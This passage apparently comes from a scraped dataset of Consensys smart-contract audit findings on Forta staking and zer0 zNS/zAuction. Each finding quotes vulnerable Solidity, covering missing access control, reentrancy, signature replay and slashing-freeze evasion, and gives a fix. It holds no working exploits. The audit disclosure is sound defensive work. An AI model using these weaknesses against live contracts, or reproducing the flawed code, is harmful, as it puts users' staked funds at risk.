to != address(0) && from != address(0)) { _allocator.didTransferShares(ids[i], subjectType, from, to, amounts[i]); Due to this, the StakeAllocator.didTransferShares() has an external visibility so it can be called from the FortaStaking contract to perform transfers. However, there is no access control modifier to allow only the staking contract to call this. Therefore, anyone can call this function with whatever parameters they want. code/contracts/components/staking/allocation/StakeAllocator.sol:L341-L349 function didTransferShares( uint256 sharesId, uint8 subjectType, address from, address to, uint256 sharesAmount ) external { _rewardsDistributor.didTransferShares(sharesId, subjectType, from, to, sharesAmount); Recommendation Apply access control modifiers as appropriate for this contract, for example onlyRole(). ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.2 Incorrect reward epoch start date calculation ", "body": " Resolution The suggested recommendations have been implemented in a pull request 144 with a final hash as Description The Forta rewards system is based on epochs. A privileged address with the role REWARDER_ROLE calls the reward() function with a parameter for a specific epochNumber that consequently distributes the rewards for that epoch. Additionally, as users stake and delegate their stake, accounts in the Forta system accrue weight that is based on the active stake to distribute these rewards. Since accounts can modify their stake as well as delegate or un-delegate it, the rewards weight for each account can be modified, as seen, for example, in the didAllocate() function. In turn, this modifies the DelegatedAccRewards storage struct that stores the accumulated rewards for each share id. To keep track of changes done to the accumulated rewards, epochs with checkpoints are used to manage the accumulated rate of rewards, their value at the checkpoint, and the timestamp of the checkpoint. For example, in the didAllocate() function the addRate() function is being called to modify the accumulated rewards. code/contracts/components/staking/rewards/RewardsDistributor.sol:L89-L101 function didAllocate( uint8 subjectType, uint256 subject, uint256 stakeAmount, uint256 sharesAmount, address staker ) external onlyRole(ALLOCATOR_CONTRACT_ROLE) { bool delegated = getSubjectTypeAgency(subjectType) == SubjectStakeAgency.DELEGATED; if (delegated) { uint8 delegatorType = getDelegatorSubjectType(subjectType); uint256 shareId = FortaStakingUtils.subjectToActive(delegatorType, subject); DelegatedAccRewards storage s = _rewardsAccumulators[shareId]; s.delegated.addRate(stakeAmount); Then the function flow goes into setRate() that checks the existing accumulated rewards storage and modifies it based on the current timestamp. code/contracts/components/staking/rewards/Accumulators.sol:L34-L36 function addRate(Accumulator storage acc, uint256 rate) internal { setRate(acc, latest(acc).rate + rate); code/contracts/components/staking/rewards/Accumulators.sol:L42-L50 function setRate(Accumulator storage acc, uint256 rate) internal { EpochCheckpoint memory ckpt = EpochCheckpoint({ timestamp: SafeCast.toUint32(block.timestamp), rate: SafeCast.toUint224(rate), value: getValue(acc) }); uint256 length = acc.checkpoints.length; if (length > 0 && isCurrentEpoch(acc.checkpoints[length - 1].timestamp)) { acc.checkpoints[length - 1] = ckpt; } else { acc.checkpoints.push(ckpt); Namely, it pushes epoch checkpoints to the list of account checkpoints based on its timestamp. If the last checkpoint s timestamp is during the current epoch, then the last checkpoint is replaced with the new one altogether. If the last checkpoint s timestamp is different from the current epoch, a new checkpoint is added to the list. However, the isCurrentEpoch() function calls a function getCurrentEpochTimestamp() that incorrectly determines the start date of the current epoch. In particular, it doesn t take the offset into account when calculating how many epochs have already passed. code/contracts/components/staking/rewards/Accumulators.sol:L103-L110 function getCurrentEpochTimestamp() internal view returns (uint256) { return ((block.timestamp / EPOCH_LENGTH) * EPOCH_LENGTH) + TIMESTAMP_OFFSET; function isCurrentEpoch(uint256 timestamp) internal view returns (bool) { uint256 currentEpochStart = getCurrentEpochTimestamp(); return timestamp > currentEpochStart; Instead of ((block.timestamp / EPOCH_LENGTH) * EPOCH_LENGTH) + TIMESTAMP_OFFSET, it should be (((block.timestamp - TIMESTAMP_OFFSET) / EPOCH_LENGTH) * EPOCH_LENGTH) + TIMESTAMP_OFFSET. In fact, it should simply call the getEpochNumber() function that correctly provides the epoch number for any timestamp. code/contracts/components/staking/rewards/Accumulators.sol:L95-L97 function getEpochNumber(uint256 timestamp) internal pure returns (uint32) { return SafeCast.toUint32((timestamp - TIMESTAMP_OFFSET) / EPOCH_LENGTH); In other words, the resulting function would look something like the following: code/contracts/components/staking/rewards/Accumulators.sol:L45-L48 if (length > 0 && isCurrentEpoch(acc.checkpoints[length - 1].timestamp)) { acc.checkpoints[length - 1] = ckpt; } else { acc.checkpoints.push(ckpt); This causes several checkpoints to be stored for the same epoch, which would cause issues in functions such as getAtEpoch(), that feeds into getValueAtEpoch() function that provides data for the rewards share calculation. In the end, this would cause issues in the accounting for the rewards calculation resulting in incorrect distributions. During the discussion with the Forta Foundation team, it was additionally discovered that there are edge cases around the limits of epochs. Specifically, epoch s end time and the subsequent epoch s start time are exactly the same, although it should be that it is only the start of the next epoch. Similarly, that start time isn t recognized as part of the epoch due to > sign instead of >=. In particular, the following changes need to be made: Recommendation A refactor of the epoch timestamp calculation functions is recommended to account for: The correct epoch number to calculate the start and end timestamps of epochs. The boundaries of epochs coinciding. Clarity in functions intent. For example, adding a function just to calculate any epoch s start time and renaming getCurrentEpochTimestamp() to getCurrentEpochStartTimestamp(). ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.3 A single unfreeze dismisses all other slashing proposal freezes ", "body": " Resolution As per the recommendation, the Forta team modified the logic in favor of open proposals. Now, every 149 with a final hash Description In order to retaliate against malicious actors, the Forta staking system allows users to submit slashing proposals that are guarded by submitting along a deposit with a slashing reason. These proposals immediately freeze the proposal s subject s stake, blocking them from withdrawing that stake. At the same time, there can be multiple proposals submitted against the same subject, which works out with freezing the subject remains frozen with each proposal submitted. However, once any one of the active proposals against the subject gets to the end of its lifecycle, be it REJECTED, DISMISSED, EXECUTED, or REVERTED, the subject gets unfrozen altogether. The other proposals might still be active, but the stake is no longer frozen, allowing the subject to withdraw it if they would like. In terms of impact, this allows bad actors to avoid punishment intended by the slashes and freezes. A malicious actor could, for example, submit a faulty proposal against themselves in the hopes that it will get quickly rejected or dismissed while the existing, legitimate proposals against them are still being considered. This would allow them to get unfrozen quickly and withdraw their stake. Similarly, in the event a bad staker has several proposals against them, they could withdraw right after a single slashing proposal goes through. Examples code/contracts/components/staking/slashing/SlashingController.sol:L174-L179 function dismissSlashProposal(uint256 _proposalId, string[] calldata _evidence) external onlyRole(SLASHING_ARBITER_ROLE) { _transition(_proposalId, DISMISSED); _submitEvidence(_proposalId, DISMISSED, _evidence); _returnDeposit(_proposalId); _unfreeze(_proposalId); code/contracts/components/staking/slashing/SlashingController.sol:L187-L192 function rejectSlashProposal(uint256 _proposalId, string[] calldata _evidence) external onlyRole(SLASHING_ARBITER_ROLE) { _transition(_proposalId, REJECTED); _submitEvidence(_proposalId, REJECTED, _evidence); _slashDeposit(_proposalId); _unfreeze(_proposalId); code/contracts/components/staking/slashing/SlashingController.sol:L215-L229 function reviewSlashProposalParameters( uint256 _proposalId, uint8 _subjectType, uint256 _subjectId, bytes32 _penaltyId, string[] calldata _evidence ) external onlyRole(SLASHING_ARBITER_ROLE) onlyInState(_proposalId, IN_REVIEW) onlyValidSlashPenaltyId(_penaltyId) onlyValidSubjectType(_subjectType) notAgencyType(_subjectType, SubjectStakeAgency.DELEGATOR) { // No need to check for proposal existence, onlyInState will revert if _proposalId is in undefined state if (!subjectGateway.isRegistered(_subjectType, _subjectId)) revert NonRegisteredSubject(_subjectType, _subjectId); _submitEvidence(_proposalId, IN_REVIEW, _evidence); if (_subjectType != proposals[_proposalId].subjectType || _subjectId != proposals[_proposalId].subjectId) { _unfreeze(_proposalId); _freeze(_subjectType, _subjectId); code/contracts/components/staking/slashing/SlashingController.sol:L254-L259 function revertSlashProposal(uint256 _proposalId, string[] calldata _evidence) external { _authorizeRevertSlashProposal(_proposalId); _transition(_proposalId, REVERTED); _submitEvidence(_proposalId, REVERTED, _evidence); _unfreeze(_proposalId); code/contracts/components/staking/slashing/SlashingController.sol:L267-L272 function executeSlashProposal(uint256 _proposalId) external onlyRole(SLASHER_ROLE) { _transition(_proposalId, EXECUTED); Proposal memory proposal = proposals[_proposalId]; slashingExecutor.slash(proposal.subjectType, proposal.subjectId, getSlashedStakeValue(_proposalId), proposal.proposer, slashPercentToProposer); slashingExecutor.freeze(proposal.subjectType, proposal.subjectId, false); code/contracts/components/staking/slashing/SlashingController.sol:L337-L339 function _unfreeze(uint256 _proposalId) private { slashingExecutor.freeze(proposals[_proposalId].subjectType, proposals[_proposalId].subjectId, false); Recommendation Introduce a check in the unfreezing mechanics to first ensure there are no other active proposals for that subject. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.4 Storage gap variables slightly off from the intended size ", "body": " Resolution The Forta Team worked on the storage layout to maintain a consistent storage buffer in the inheritance tree. The changes were made through multiple pull requests, also an easy-to-understand layout description has been added through a pull request 157. However, we still found some inconsistencies and recommend doing a thorough review of the buffer space again. For instance, in FortaStaking (considering the latest commit) the above-mentioned storage variables will be taking a single slot, however, separate slots are considered for the buffer space(referring to the storage layout description to determine __gap buffer). Description The Forta staking system is using upgradeable proxies for its deployment strategy. To avoid storage collisions between contract versions during upgrades, uint256[] private __gap array variables are introduced that create a storage buffer. Together with contract state variables, the storage slots should sum up to 50. For example, the __gap variable is present in the BaseComponentUpgradeable component, which is the base of most Forta contracts, and there is a helpful comment in AgentRegistryCore that describes how its relevant __gap variable size was calculated: code/contracts/components/BaseComponentUpgradeable.sol:L62 uint256[50] private __gap; code/contracts/components/agents/AgentRegistryCore.sol:L196 uint256[41] private __gap; // 50 - 1 (frontRunningDelay) - 3 (_stakeThreshold) - 5 StakeSubjectUpgradeable However, there are a few places where the __gap size was not computed correctly to get the storage slots up to 50. Some of these are: code/contracts/components/scanners/ScannerRegistry.sol:L234 uint256[49] private __gap; code/contracts/components/dispatch/Dispatch.sol:L333 uint256[47] private __gap; code/contracts/components/node_runners/NodeRunnerRegistryCore.sol:L452 uint256[44] private __gap; While these still provide large storage buffers, it is best if the __gap variables are calculated to hold the same buffer within contracts of similar types as per the initial intentions to avoid confusion. During conversations with the Forta Foundation team, it appears that some contracts like ScannerRegistry and AgentRegistry should instead add up to 45 with their __gap variable due to the StakeSubject contracts they inherit from adding 5 from themselves. This is something to note and be careful with as well for future upgrades. Recommendation Provide appropriate sizes for the __gap variables to have a consistent storage layout approach that would help avoid storage issues with future versions of the system. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.5 AgentRegistryCore - Agent Creation DoS ", "body": " Resolution The Forta team as per the recommendations modified the minting logic to allow users to mint an agentId only for their own address in a pull request 155 with final hash as 7426891222e2bcdf2bbbec669905d5041f9fb58e. Also, the team claims that the Agent Ids are generated through the Forta Bot SDK to minimize the collision risk. However, this has not been verified by the auditing team. We still recommend notifying users to check whether an ID is already registered prior to making any commitment if a front-running delay is enabled, to avoid unintended DoS. Description AgentRegistryCore allows anyone to mint an agentID for the desired owner address. However, in some cases, it may fall prey to DoS, either deliberately or unintentionally. For instance, let s assume the Front Running Protection is disabled or the frontRunningDelay is 0. It means anyone can directly create an agent without any prior commitment. Thus, anyone can observe pending transactions and try to front run them to mint an agentID prior to the victim s restricting it to mint a desired agentID. Also, it may be possible that a malicious actor succeeds in frontrunning a transaction with manipulated data/chainIDs but with the same owner address and agentID. There is a good chance that victim still accepts the attacker s transaction as valid, even though its own transaction reverted, due to the fact that the victim is still seeing itself as the owner of that ID. Taking an instance where let s assume the frontrunning protection is enabled. Still, there is a good chance that two users vouch for the same agentIDs and commits in the same block, thus getting the same frontrunning delay. Then, it will be a game of luck, whoever creates that agent first will get the ID minted to its address, and the other user s transaction will be reverted wasting the time they have spent on the delay. As the agentIDs can be picked by users, the chances of collisions with an already minted ID will increase over time causing unnecessary reverts for others. Adding to the fact that there is no restriction for owner address, anyone can spam mint any agentID to any address for any profitable reason. Examples code/contracts/components/agents/AgentRegistryCore.sol:L68-L77 function createAgent(uint256 agentId, address owner, string calldata metadata, uint256[] calldata chainIds) public onlySorted(chainIds) frontrunProtected(keccak256(abi.encodePacked(agentId, owner, metadata, chainIds)), frontRunningDelay) _mint(owner, agentId); _beforeAgentUpdate(agentId, metadata, chainIds); _agentUpdate(agentId, metadata, chainIds); _afterAgentUpdate(agentId, metadata, chainIds); Recommendation Modify function prepareAgent to not commit an already registered agentID. A better approach could be to allow sequential minting of agentIDs using some counters. Only allow users to mint an agentID, either for themselves or for someone they are approved to. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.6 Lack of checks for rewarding an epoch that has already been rewarded ", "body": " Resolution The suggested recommendations have been implemented in a pull request 150 with final hash Description To give rewards to the participating stakers, the Forta system utilizes reward epochs for each shareId, i.e. a delegated staking share. Each epoch gets their own reward distribution, and then StakeAllocator and RewardsDistributor contracts along with the Forta staking shares determine how much the users get. Although totalRewardsDistributed is essentially isolated to the sweep() function to allow transferring out the reward tokens without taking away those tokens reserved for the reward distribution, this still creates an inconsistency, albeit a minor one in the context of the current system. Examples code/contracts/components/staking/rewards/RewardsDistributor.sol:L155-L167 function reward( uint8 subjectType, uint256 subjectId, uint256 amount, uint256 epochNumber ) external onlyRole(REWARDER_ROLE) { if (subjectType != NODE_RUNNER_SUBJECT) revert InvalidSubjectType(subjectType); if (!_subjectGateway.isRegistered(subjectType, subjectId)) revert RewardingNonRegisteredSubject(subjectType, subjectId); uint256 shareId = FortaStakingUtils.subjectToActive(getDelegatorSubjectType(subjectType), subjectId); _rewardsPerEpoch[shareId][epochNumber] = amount; totalRewardsDistributed += amount; emit Rewarded(subjectType, subjectId, amount, epochNumber); Recommendation Implement checks as appropriate to the reward() function to ensure correct behavior of totalRewardsDistributed tracking. Also, implement necessary changes to the tracking of pending rewards, if necessary. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.7 Reentrancy in FortaStaking during ERC1155 mints ", "body": " Resolution The Forta team implemented a Reentrancy Guard in a pull request 151 with a final hash Description In the Forta staking system, the staking shares (both active and inactive ) are represented as tokens implemented according to the ERC1155 standard. The specific implementation that is being used utilizes a smart contract acceptance check _doSafeTransferAcceptanceCheck() upon mints to the recipient. code/contracts/components/staking/FortaStaking.sol:L54 contract FortaStaking is BaseComponentUpgradeable, ERC1155SupplyUpgradeable, SubjectTypeValidator, ISlashingExecutor, IStakeMigrator { The specific implementation for ERC1155SupplyUpgradeable contracts can be found here, and the smart contract check can be found here. This opens up reentrancy into the system s flow. In fact, the reentrancy occurs on all mints that happen in the below functions, and it happens before a call to another Forta contract for allocation is made via either _allocator.depositAllocation or _allocator.withdrawAllocation: code/contracts/components/staking/FortaStaking.sol:L273-L295 function deposit( uint8 subjectType, uint256 subject, uint256 stakeValue ) external onlyValidSubjectType(subjectType) notAgencyType(subjectType, SubjectStakeAgency.MANAGED) returns (uint256) { if (address(subjectGateway) == address(0)) revert ZeroAddress(\"subjectGateway\"); if (!subjectGateway.isStakeActivatedFor(subjectType, subject)) revert StakeInactiveOrSubjectNotFound(); address staker = _msgSender(); uint256 activeSharesId = FortaStakingUtils.subjectToActive(subjectType, subject); bool reachedMax; (stakeValue, reachedMax) = _getInboundStake(subjectType, subject, stakeValue); if (reachedMax) { emit MaxStakeReached(subjectType, subject); uint256 sharesValue = stakeToActiveShares(activeSharesId, stakeValue); SafeERC20.safeTransferFrom(stakedToken, staker, address(this), stakeValue); _activeStake.mint(activeSharesId, stakeValue); _mint(staker, activeSharesId, sharesValue, new bytes(0)); emit StakeDeposited(subjectType, subject, staker, stakeValue); _allocator.depositAllocation(activeSharesId, subjectType, subject, staker, stakeValue, sharesValue); return sharesValue; code/contracts/components/staking/FortaStaking.sol:L303-L326 function migrate( uint8 oldSubjectType, uint256 oldSubject, uint8 newSubjectType, uint256 newSubject, address staker ) external onlyRole(SCANNER_2_NODE_RUNNER_MIGRATOR_ROLE) { if (oldSubjectType != SCANNER_SUBJECT) revert InvalidSubjectType(oldSubjectType); if (newSubjectType != NODE_RUNNER_SUBJECT) revert InvalidSubjectType(newSubjectType); if (isFrozen(oldSubjectType, oldSubject)) revert FrozenSubject(); uint256 oldSharesId = FortaStakingUtils.subjectToActive(oldSubjectType, oldSubject); uint256 oldShares = balanceOf(staker, oldSharesId); uint256 stake = activeSharesToStake(oldSharesId, oldShares); uint256 newSharesId = FortaStakingUtils.subjectToActive(newSubjectType, newSubject); uint256 newShares = stakeToActiveShares(newSharesId, stake); _activeStake.burn(oldSharesId, stake); _activeStake.mint(newSharesId, stake); _burn(staker, oldSharesId, oldShares); _mint(staker, newSharesId, newShares, new bytes(0)); emit StakeDeposited(newSubjectType, newSubject, staker, stake); _allocator.depositAllocation(newSharesId, newSubjectType, newSubject, staker, stake, newShares); code/contracts/components/staking/FortaStaking.sol:L365-L387 function initiateWithdrawal( uint8 subjectType, uint256 subject, uint256 sharesValue ) external onlyValidSubjectType(subjectType) returns (uint64) { address staker = _msgSender(); uint256 activeSharesId = FortaStakingUtils.subjectToActive(subjectType, subject); if (balanceOf(staker, activeSharesId) == 0) revert NoActiveShares(); uint64 deadline = SafeCast.toUint64(block.timestamp) + _withdrawalDelay; _lockingDelay[activeSharesId][staker].setDeadline(deadline); uint256 activeShares = Math.min(sharesValue, balanceOf(staker, activeSharesId)); uint256 stakeValue = activeSharesToStake(activeSharesId, activeShares); uint256 inactiveShares = stakeToInactiveShares(FortaStakingUtils.activeToInactive(activeSharesId), stakeValue); SubjectStakeAgency agency = getSubjectTypeAgency(subjectType); _activeStake.burn(activeSharesId, stakeValue); _inactiveStake.mint(FortaStakingUtils.activeToInactive(activeSharesId), stakeValue); _burn(staker, activeSharesId, activeShares); _mint(staker, FortaStakingUtils.activeToInactive(activeSharesId), inactiveShares, new bytes(0)); if (agency == SubjectStakeAgency.DELEGATED || agency == SubjectStakeAgency.DELEGATOR) { _allocator.withdrawAllocation(activeSharesId, subjectType, subject, staker, stakeValue, activeShares); Although this doesn t seem to be an issue in the current Forta system of contracts since the allocator s logic doesn t seem to be manipulable, this could still be dangerous as it opens up an external execution flow. Recommendation Consider introducing a reentrancy check or emphasize this behavior in the documentation, so that both other projects using this system later and future upgrades along with maintenance work on the Forta staking system itself are implemented safely. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.8 Unnecessary code blocks that check the same condition ", "body": " Resolution The code block has been refactored under a single conditional block as per the suggested recommendation in a pull request 152 with a final hash as Description In the RewardsDistributor there is a function that allows to set delegation fees for a NodeRunner. It adjusts the fees[] array for that node as appropriate. However, during its checks, it performs the same check twice in a row. Examples code/contracts/components/staking/rewards/RewardsDistributor.sol:L259-L264 if (fees[1].sinceEpoch != 0) { if (Accumulators.getCurrentEpochNumber() < fees[1].sinceEpoch + delegationParamsEpochDelay) revert SetDelegationFeeNotReady(); if (fees[1].sinceEpoch != 0) { fees[0] = fees[1]; Recommendation Consider refactoring this under a single code block. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.9 Event spam in RewardsDistributor.claimRewards ", "body": " Resolution Forta team has implemented the recommended check in a pull request 153, as: if (epochRewards == 0) revert ZeroAmount(\"epochRewards\"); The implemented check will now be reverting the transaction if there exists no reward for an epoch number. However, it may not be a gas-efficient approach for the user claiming rewards and accidentally passing an incorrect epoch number. A better approach could be to transfer any reward and emit any event only for a non-zero epochReward. Description The RewardsDistributor contract allows users to claim their rewards through the claimRewards() function. It does check to see whether or not the user has already claimed the rewards for a specific epoch that they are claiming for, but it does not check to see if the user has any associated rewards at all. This could lead to event ClaimedRewards being spammed by malicious users, especially on low gas chains. Examples code/contracts/components/staking/rewards/RewardsDistributor.sol:L224-L229 for (uint256 i = 0; i < epochNumbers.length; i++) { if (_claimedRewardsPerEpoch[shareId][epochNumbers[i]][_msgSender()]) revert AlreadyClaimed(); _claimedRewardsPerEpoch[shareId][epochNumbers[i]][_msgSender()] = true; uint256 epochRewards = _availableReward(shareId, isDelegator, epochNumbers[i], _msgSender()); SafeERC20.safeTransfer(rewardsToken, _msgSender(), epochRewards); emit ClaimedRewards(subjectType, subjectId, _msgSender(), epochNumbers[i], epochRewards); Recommendation Add a check for rewards amounts being greater than 0. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.10 SubjectTypes.sol files unused ", "body": " Resolution The unused file has now been removed in commit 2548e0a4f7b38926362a759f4fa0611394348d6e Description There is a rogue file SubjectTypes.sol that is not being utilized. It appears that its intended functionality is being done by the SubjectTypeValidator.sol file as it even has a contract with the same name implemented there. Examples code/contracts/components/staking/SubjectTypes.sol:L4-L10 pragma solidity ^0.8.9; uint8 constant SCANNER_SUBJECT = 0; uint8 constant AGENT_SUBJECT = 1; uint8 constant NODE_RUNNER_SUBJECT = 3; contract SubjectTypeValidator { Recommendation Remove the SubjectTypes.sol file. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.11 Lack of a check for the subject s stake for reviewSlashProposalParameters ", "body": " Resolution The recommended check has now been added in a pull request 154 with final hash as Description While it may be assumed that the review function will be called by a privileged and knowledgeable actor, this additional check may avoid accidental mistakes. Examples code/contracts/components/staking/slashing/SlashingController.sol:L153 if (subjectGateway.totalStakeFor(_subjectType, _subjectId) == 0) revert ZeroAmount(\"subject stake\"); code/contracts/components/staking/slashing/SlashingController.sol:L226-L229 if (_subjectType != proposals[_proposalId].subjectType || _subjectId != proposals[_proposalId].subjectId) { _unfreeze(_proposalId); _freeze(_subjectType, _subjectId); Recommendation Add a check for the new subject having stake to slash. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.12 Comment and code inconsistencies ", "body": " Resolution The comments have now been found fixed as per the implemented logic, primarily in the pull request 156 and in another commit with hash f4ee799ee192084965643b09b69f3cbeababd5ae Description During the audit a few inconsistencies were found between what the comments say and what the implemented code actually did. Examples Subject Type Agency for Scanner Subjects In the SubjectTypeValidator, the comment says that the SCANNER_SUBJECT is of type DIRECT agency type, i.e. it can be directly staked on by multiple different stakers. However, we found a difference in the implementation, where the concerned subject is defined as type MANAGED agency type, which says that it cannot be staked on directly; instead it s a delegated type and the allocation is supposed to be managed by its manager. code/contracts/components/staking/SubjectTypeValidator.sol:L21 code/contracts/components/staking/SubjectTypeValidator.sol:L66-L67 - SCANNER_SUBJECT --> DIRECT code/contracts/components/staking/SubjectTypeValidator.sol:L66-L67 } else if (subjectType == SCANNER_SUBJECT) { return SubjectStakeAgency.MANAGED; Dispatch refers to ERC721 tokens as ERC1155 One of the comments describing the functionality to link and unlink agents and scanners refers to them as ERC1155 tokens, when in reality they are ERC721. code/contracts/components/dispatch/Dispatch.sol:L179-L185 /** @notice Assigns the job of running an agent to a scanner. @dev currently only allowed for DISPATCHER_ROLE (Assigner software). @dev emits Link(agentId, scannerId, true) event. @param agentId ERC1155 token id of the agent. @param scannerId ERC1155 token id of the scanner. / NodeRunnerRegistryCore comment that implies the reverse of what happens A comment describing a helper function that returns address for a given scanner ID describes the opposite behavior. It is the same comment for the function just above that actually does what the comment says. code/contracts/components/node_runners/NodeRunnerRegistryCore.sol:L259-L262 /// Converts scanner address to uint256 for FortaStaking Token Id. function scannerIdToAddress(uint256 scannerId) public pure returns (address) { return address(uint160(scannerId)); ScannerToNodeRunnerMigration comment that says that no NodeRunner tokens must be owned For the migration from Scanners to NodeRunners, a comment in the beginning of the file implies that for the system to work correctly, there must be no NodeRunner tokens owned prior to migration. After a conversation with the Forta Foundation team, it appears that this was an early design choice that is no longer relevant. code/contracts/components/scanners/ScannerToNodeRunnerMigration.sol:L69 code/contracts/components/scanners/ScannerToNodeRunnerMigration.sol:L91 @param nodeRunnerId If set as 0, a new NodeRunnerRegistry ERC721 will be minted to nodeRunner (but it must not own any prior), code/contracts/components/scanners/ScannerToNodeRunnerMigration.sol:L91 Recommendation @param nodeRunnerId If set as 0, a new NodeRunnerRegistry ERC721 will be minted to nodeRunner (but it must not own any prior), Recommendation Verify the operational logic and fix either the concerned comments or defined logic as per the need. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2022/11/forta-delegated-staking/"}, {"title": "5.1 zNS - Domain bid might be approved by non owner account ", "body": " Resolution Addressed with zer0-os/zNS@ab7d62a by storing the domain request data on-chain. Description The spec allows anyone to place a bid for a domain, while only parent domain owners are allowed to approve a bid. Bid placement is actually enforced and purely informational. In practice, approveDomainBid allows any parent domain owner to approve bids (signatures) for any other domain even if they do not own it. Once approved, anyone can call fulfillDomainBid to create a domain. Examples zNS/contracts/StakingController.sol:L95-L103 function approveDomainBid( uint256 parentId, string memory bidIPFSHash, bytes memory signature ) external authorizedOwner(parentId) { bytes32 hashOfSig = keccak256(abi.encode(signature)); approvedBids[hashOfSig] = true; emit DomainBidApproved(bidIPFSHash); Recommendation Consider adding a validation check that allows only the parent domain owner to approve bids on one of its domains. Reconsider the design of the system introducing more on-chain guarantees for bids. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zns/"}, {"title": "5.2 zAuction, zNS - Bids cannot be cancelled, never expire, and the auction lifecycle is unclear ", "body": " Resolution Addressed with zer0-os/zNS@ab7d62a by refactoring the StakingController to control the lifecycle of bids instead of handling this off-chain. Addressed with zer0-os/zAuction@135b2aa for zAuction by adding a bid/saleOffer expiration for bids. The client also provided the following statement: ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zns/"}, {"title": "5.6 added expireblock and startblock to zauction, expireblock to zsale", "body": " Decided not to add a cancel function. Paying gas to cancel isn t ideal, and it can be used as a griefing function. though that s still possible to do by moving weth but differently The stateless nature of auctions may make it hard to enforce bid/sale expirations and it is not possible to cancel a bid/offer that should not be valid anymore. The expiration reduces the risk of old offers being used as they now automatically invalidate after time, however, it is still likely that multiple valid offers may be present at the same time. As outlined in the recommendation, one option would be to allow someone who signed a commitment to explicitly cancel it in the contract. Another option would be to create a stateful auction where the entity that puts up something for starts an auction, creating an auction id, requiring bidders to bid on that auction id. Once a bid is accepted the auction id is invalidated which invalidates all bids that might be floating around. zer0-os/zAuction@2f92aa1 for Description The lifecycle of a bid both for zAuction and zNS is not clear, and has many flaws. zAuction - Consider the case where a bid is placed, then the underlying asset in being transferred to a new owner. The new owner can now force to sell the asset even though it s might not be relevant anymore. zAuction - Once a bid was accepted and the asset was transferred, all other bids need to be invalidated automatically, otherwise and old bid might be accepted even after the formal auction is over. zAuction, zNS - There is no way for the bidder to cancel an old bid. That might be useful in the event of a significant change in market trend, where the old pricing is no longer relevant. Currently, in order to cancel a bid, the bidder can either withdraw his ether balance from the zAuctionAccountant, or disapprove WETH which requires an extra transaction that might be front-runned by the seller. Examples zAuction/contracts/zAuction.sol:L35-L45 function acceptBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external { address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid))), signature); require(bidder == recoveredbidder, 'zAuction: incorrect bidder'); require(!randUsed[rand], 'Random nonce already used'); randUsed[rand] = true; IERC721 nftcontract = IERC721(nftaddress); accountant.Exchange(bidder, msg.sender, bid); nftcontract.transferFrom(msg.sender, bidder, tokenid); emit BidAccepted(bidder, msg.sender, bid, nftaddress, tokenid); zNS/contracts/StakingController.sol:L120-L152 function fulfillDomainBid( uint256 parentId, uint256 bidAmount, uint256 royaltyAmount, string memory bidIPFSHash, string memory name, string memory metadata, bytes memory signature, bool lockOnCreation, address recipient ) external { bytes32 recoveredBidHash = createBid(parentId, bidAmount, bidIPFSHash, name); address recoveredBidder = recover(recoveredBidHash, signature); require(recipient == recoveredBidder, \"ZNS: bid info doesnt match/exist\"); bytes32 hashOfSig = keccak256(abi.encode(signature)); require(approvedBids[hashOfSig] == true, \"ZNS: has been fullfilled\"); infinity.safeTransferFrom(recoveredBidder, controller, bidAmount); uint256 id = registrar.registerDomain(parentId, name, controller, recoveredBidder); registrar.setDomainMetadataUri(id, metadata); registrar.setDomainRoyaltyAmount(id, royaltyAmount); registrar.transferFrom(controller, recoveredBidder, id); if (lockOnCreation) { registrar.lockDomainMetadataForOwner(id); approvedBids[hashOfSig] = false; emit DomainBidFulfilled( metadata, name, recoveredBidder, id, parentId ); Recommendation Consider adding an expiration field to the message signed by the bidder both for zAuction and zNS. Consider adding auction control, creating an auctionId, and have users bid on specific auctions. By adding this id to the signed message, all other bids are invalidated automatically and users would have to place new bids for a new auction. Optionally allow users to cancel bids explicitly. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/05/zer0-zns/"}, {"title": "5.3 zNS - Insufficient protection against replay attacks ", "body": " Resolution Addressed with zer0-os/zNS@ab7d62a by avoiding the use of digital signatures and storing the domain request data on-chain. Description There is no dedicated data structure to prevent replay attacks on StakingController. approvedBids mapping offers only partial mitigation, due to the fact that after a domain bid is fulfilled, the only mechanism in place to prevent a replay attack is the Registrar contract that might be replaced in the case where StakingController is being re-deployed with a different Registrar instance. Additionally, the digital signature used for domain bids does not identify the buyer request uniquely enough. The bidder s signature could be replayed in future similar contracts that are deployed with a different registrar or in a different network. Examples zNS/contracts/StakingController.sol:L176-L183 function createBid( uint256 parentId, uint256 bidAmount, string memory bidIPFSHash, string memory name ) public pure returns(bytes32) { return keccak256(abi.encode(parentId, bidAmount, bidIPFSHash, name)); Recommendation Consider adding 